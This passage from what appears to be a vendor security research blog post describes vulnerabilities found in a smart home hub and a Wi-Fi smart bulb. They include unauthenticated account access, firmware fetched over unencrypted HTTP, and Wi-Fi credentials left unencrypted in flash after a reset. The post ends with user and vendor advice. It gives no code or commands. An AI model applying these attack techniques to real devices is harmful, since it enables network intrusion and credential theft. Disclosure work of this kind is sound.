Thus, the few steps involved with generating and sending the right requests to the server can provide remote attackers with the possibility of downloading data to access the user’s web interface account, which doesn’t have any additional security layers, such as 2FA (Two Factor Authentication). As a result, attackers can take control over someone’s home and turn off the lights or water, or, even worse, open the doors. So, one day, someone’s smart life could be turned into a complete nightmare. We reported all the information about the discovered vulnerabilities to the vendor, which are now being fixed.

But there is always light at the end of the tunnel…

In addition to smart “boxes”, we had something smaller in our pocket – a smart light bulb, which doesn’t have any critical use, neither for safety or security. However, it also surprised us with a few – but still worrying – security issues.

The smart bulb is connected to a Wi-Fi network and controlled over a mobile application. To set it up a user needs to first download the mobile application (iOS or Android), switch on the bulb, connect to the Wi-Fi access point created by the bulb and provide the bulb with the SSID and password from a local Wi-Fi network.

From the application, users can switch it ON and OFF, set timers and change different aspect of the light, including its density and color. Our goal was to find out if the device might help an attacker in any way to gain access to a local network, from which it would eventually be possible to conduct an attack.

After several attempts, we were lucky to discover a way to get to the device’s firmware through the mobile application. An interesting fact is that the bulb does not interact with the mobile application directly. Instead, both the bulb and the mobile application are connected to a cloud service and communication goes through it. This explains why while sniffing the local network traffic, almost no interaction between the two were found.

We discovered that the bulb requests a firmware update from the server and downloads it through an HTTP protocol that doesn’t secure the communication with servers. If an attacker is in the same network, a man-in-the-middle kind of attack will be an easy task.

The hardware reconnaissance with flash dumping led us not only to the firmware, but to user data as well. With a quick look at the information shared with the cloud, no sensitive information seems to have been uploaded from the device or the internal network. But we found all the credentials of the Wi-Fi networks to which the bulb had connected before, which are stored in the device’s flash forever with no encryption – even after a “hard” reset of the device this data was still available. Thus, reselling it on online market places is certainly not a good idea.

Get ready

Our latest research has once again confirmed that ‘smart home’ doesn’t mean ‘secure home’. Several logical vulnerabilities (combined with an unconsciously published serial number) can literally open doors to your home and welcome in cybercriminals. Besides this, remote access and control over your smart hub can lead to a wide range of sabotage activities, which could cost you through high electricity bills, a flood or, even more importantly, your mental health.

But even if your smart hub is secure, never forget that the devil is in the details: a tiny thing such as a light bulb could serve as an entry-point for hackers as well, providing them with access to a local network.

That’s why it’s highly important for users to follow these simple cyber hygiene rules:

  • Always change the default password. Instead use a strict and complex one. Don’t forget to update it regularly.
  • Don’t share serial numbers, IP addresses and other sensitive information regarding your smart devices on social networks
  • Be aware and always check the latest information on discovered IoT vulnerabilities.

No less important is that vendors should improve and enhance their security approach to ensure their devices are adequately protected and, as a result, their users. In addition to a cybersecurity check, which is just as vital as testing other features before releasing a product, it is necessary to follow IoT cybersecurity standards. Kaspersky Lab has recently contributed to the ITU-T (International Telecommunication Union — Telecommunication sector) Recommendation, created to help maintain the proper protection of IoT systems, including smart cities, wearable and standalone medical devices and many others.